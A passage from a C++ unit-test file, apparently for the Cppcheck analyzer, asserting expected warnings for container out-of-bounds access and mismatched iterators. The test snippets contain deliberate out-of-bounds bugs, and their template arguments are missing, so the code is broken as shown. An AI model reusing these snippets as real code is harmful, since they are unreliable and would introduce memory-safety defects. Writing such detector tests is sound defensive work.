v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator 